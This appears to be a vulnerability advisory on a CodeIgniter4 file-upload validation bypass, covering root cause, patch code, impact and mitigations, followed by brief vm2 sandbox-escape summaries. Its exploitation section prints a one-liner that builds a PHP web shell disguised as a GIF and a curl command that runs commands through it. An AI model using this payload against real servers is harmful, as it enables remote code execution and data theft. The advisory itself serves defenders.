Aug 8, 2026·6 min read·163 visits
Unauthenticated remote code execution via file upload validation bypass in CodeIgniter4 versions prior to v4.7.4.
A critical unrestricted file upload vulnerability (CWE-434) in CodeIgniter4 allows unauthenticated remote attackers to execute arbitrary code. By bypassing weak validation filters in the `is_image` and `mime_in` rules, an attacker can upload a malicious PHP payload disguised as a valid image file.
CodeIgniter4 is a widely used PHP full-stack web framework that implements validation rules for handling incoming HTTP requests. A critical vulnerability, designated as CVE-2026-63223, exists in versions prior to v4.7.4. The vulnerability involves the unrestricted upload of files with dangerous types (CWE-434), arising from a validation bypass in the default image and MIME-type verification routines.
Historically, web developers have relied on framework-provided helpers such as is_image and mime_in to guarantee that uploaded files are safe. However, in vulnerable configurations, these rules only verify the content headers or magic bytes of the file. They fail to cross-reference the actual client-supplied filename extension with the verified content type.
This gap in security verification exposes a significant attack surface when application logic preserves the original filename and writes uploads directly into a web-accessible, script-enabled directory. If an attacker uploads a polyglot file (a valid image file containing embedded executable code) with a .php extension, the framework accepts the upload, allowing the file to be executed on the server.
The root cause of CVE-2026-63223 is a structural disconnect in the validation library located at system/Validation/StrictRules/FileRules.php. Specifically, the is_image and mime_in rules execute validation based purely on the file content's characteristics rather than a unified check on both the extension and the content.
When a file is uploaded, the framework utilizes PHP's internal fileinfo extension to analyze the file's magic bytes. The is_image rule retrieves this content-derived extension using the $file->getExtension() method. For example, if a file starts with the binary sequence GIF89a, the framework identifies its mime type as image/gif and assumes the file is a standard GIF image.
Because the validator focuses entirely on the magic bytes, it does not confirm if the actual client-provided filename ends with an authorized extension like .gif or .png. Consequently, a file named shell.php containing a valid image header will successfully pass both the is_image and mime_in validation filters. This behavior violates the principle of complete mediation, where every access or input must be checked against all safety criteria before storage.
An inspection of the codebase in version 4.7.3 reveals how the validation rules were structured prior to the patch. The vulnerable is_image function retrieves the derived extension directly and queries the Mimes helper without assessing the actual client-supplied name:
// Vulnerable Code Path (Pre-v4.7.4)
public function is_image(?string $blank, string $params): bool
{
// ...
// Retrieves extension strictly from content magic bytes
$type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
if (mb_strpos($type, 'image') !== 0) {
return false;
}
return true;
}In the official security patch (b6e9a4fa1dca2df3d3f261bdf61532df8c6420aa), the CodeIgniter development team introduced explicit validation checks to reject files where the client-supplied extension does not match the content-derived type. The helper function hasInvalidImageClientExtension was added to verify the extension mismatch:
// Patched Code Path (v4.7.4)
public function is_image(?string $blank, string $params): bool
{
// ...
if (mb_strpos($type, 'image') !== 0) {
return false;
}
// Reject file if the client-supplied extension is not an image type
if ($this->hasInvalidImageClientExtension($file)) {
return false;
}
return true;
}
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') {
return false;
}
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
return mb_strpos($type, 'image') !== 0;
}Similarly, the mime_in rule was patched to invoke hasMismatchedClientExtension(), which compares the client extension against $file->guessExtension(). This ensures that even if a payload contains a valid image header, any mismatch with the client-supplied .php extension will result in immediate rejection.
Exploitation of CVE-2026-63223 requires specific target environment properties. First, the application must configure file uploads using the weak is_image or mime_in rules without additional validations such as ext_in. Second, the controller must write the file to a public directory using the client-provided name (e.g., via $file->getClientName()). Third, the underlying web server must be configured to pass requests in that directory to a PHP interpreter.
To conduct the attack, an operator crafts an image-PHP polyglot file. This file begins with legitimate image signature headers to satisfy the magic-byte checks of the web server and PHP's fileinfo. Immediately following the header, the payload embeds PHP script instructions:
# Craft the Polyglot Web Shell Payload
python3 -c "import sys; php = b'<?php system(\\\$_GET[\"cmd\"]); ?>'; sys.stdout.buffer.write(b'GIF89a\\n' + php)" > evil.phpThe operator then submits a multipart POST request with the file. Because the file starts with GIF89a, the framework validates it as an image. The target script is saved to disk as evil.php. When the operator sends an HTTP GET request to the uploaded file, the web server executes the embedded PHP code:
# Trigger execution of OS commands via web shell
curl http://target-domain.com/uploads/evil.php?cmd=idThe security impact of CVE-2026-63223 is rated Critical, with a CVSS v3.1 base score of 9.8. Because exploitation requires no prior authentication and minimum interaction, any external actor can achieve unauthenticated remote code execution. This level of compromise grants the attacker the execution privileges of the web server process (e.g., www-data or nginx).
Once code execution is obtained, the attacker can perform local reconnaissance, access application databases, read sensitive environment variables (such as API keys and database credentials), and escalate privileges. If the host container or server is poorly isolated, this access can serve as a pivot point for lateral movement into internal networks.
While this vulnerability is not currently listed in CISA's Known Exploited Vulnerabilities (KEV) catalog, the release of public Proof-of-Concept tools significantly increases the risk of active exploitation. Organizations utilizing CodeIgniter4 must audit upload handlers immediately to mitigate potential damage.
The primary remediation path is upgrading the CodeIgniter4 framework to version 4.7.4 or later. This version enforces strict client-extension matching within the is_image and mime_in validation rules, resolving the vulnerability's root cause.
If an immediate framework upgrade is not feasible, developers must configure a defense-in-depth workaround. This is accomplished by appending the ext_in validation rule to restrict accepted file suffixes:
// Remediated Validation Configuration Workaround
$rules = [
'avatar' => 'is_image[avatar]|ext_in[avatar,png,jpg,jpeg,gif]'
];In addition to validation controls, standard secure file storage practices should be enforced. Uploaded filenames should be randomized using $file->getRandomName() to prevent direct path mapping, and files must be saved outside the web root (e.g., in a private directory or remote cloud storage bucket). Finally, execute permissions should be explicitly disabled within the public upload directories using web server configuration files (such as .htaccess rules for Apache or directory-level execution blocks in Nginx).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
CodeIgniter4 CodeIgniter Foundation | >= 4.4.8, < 4.7.4 | v4.7.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-434 |
| Attack Vector | Network |
| CVSS Base Score | 9.8 |
| EPSS Score | 0.00493 (Percentile: 39.74%) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | Proof-of-Concept |
| CISA KEV Status | Not Listed |
The product receives a class, type, or other specifier for a file or directory, but does not sufficiently restrict the type of file that can be uploaded or created.
A module allowlist bypass vulnerability (CVE-2026-92945 / GHSA-7q3f-wx44-378m) was identified in the vm2 sandboxing library prior to version 3.11.7. This flaw permits unauthenticated or untrusted code running within the sandbox environment to bypass explicit module restrictions. When the transitive resolution option is disabled, the system fails to validate file system path boundaries, allowing prefix-sharing sibling directories to be resolved and loaded, thereby escaping intended sandbox restrictions.
CVE-2026-92941 is a critical sandbox-escape and trust-manipulation vulnerability in the vm2 library (versions 3.11.3 to 3.11.6). This security flaw allows untrusted code executing within a NodeVM sandbox environment to compromise the global TLS trust store of the host Node.js process. By leveraging a design flaw where the host's native 'tls.setDefaultCACertificates' can be executed via a proxy wrapper, combined with a bridge unwrapping bypass in the 'url' module, an attacker can modify the process-wide default root Certificate Authorities. Consequently, all subsequent outbound TLS/HTTPS clients running on the host thread are forced to trust attacker-signed certificates, facilitating transparent Man-in-the-Middle (MitM) attacks. The vulnerability was resolved in version 3.11.7 of vm2 by introducing built-in member-level sanitization before applying read-only proxy wrappers.
A critical engine-level reachability failure in Node.js 26 running V8 14.6 allows attackers to escape the vm2 sandbox environment. When consecutive prototype properties are modified using sequential assignments, a V8 optimization bug fails to invalidate the PromiseThenLookupChain protector. By calling Promise.prototype.finally, the attacker bypasses the vm2 wrappers, hijacks the promise reaction using a custom constructor, triggers a calibrated stack overflow to capture a host-realm RangeError, and executes arbitrary shell commands on the host.
A critical sandbox escape vulnerability in the vm2 library allows sandboxed JavaScript code to bypass containment and execute arbitrary native code on the host process. This occurs when the host's builtin crypto module is exposed to the NodeVM environment. Although vm2 implements a read-only proxy layer to restrict direct modifications to host properties, it does not prevent invocation of host-level functions. By calling the crypto.setEngine API with a path to a malicious native library on disk, an attacker can trigger OpenSSL's dynamic module loader. The host's operating system loader immediately runs the dynamic library's initializers/constructors before verifying engine compatibility, leading to remote code execution in the context of the host process.
CVE-2026-92938 is a critical sandbox escape vulnerability in the vm2 library (versions 3.11.3 through 3.11.6) that allows arbitrary native code execution on the host when the node:sqlite built-in module is loaded inside a sandboxed NodeVM environment.
CVE-2026-92937 is a critical sandbox escape vulnerability in the `vm2` Node.js library. Due to a logical failure in checking direct invocation targets inside the Proxy bridge, an attacker can register Promise callbacks using `Function.prototype.call` or `Function.prototype.apply` indirection. This bypasses the error sanitization wrappers, delivering raw host error objects directly to sandboxed callbacks and allowing the attacker to escape the sandbox and execute arbitrary shell commands on the host.